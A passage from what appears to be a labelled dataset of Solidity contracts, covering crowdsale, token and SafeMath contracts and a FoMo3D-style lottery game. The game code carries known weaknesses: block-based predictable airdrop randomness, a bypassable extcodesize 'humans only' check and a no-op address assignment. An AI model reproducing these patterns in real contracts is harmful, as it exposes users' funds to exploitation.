Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 1,807 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA);
address private admin = msg.sender;
string constant public name = "FOMO Short";
string constant public symbol = "SHORT";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 60 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
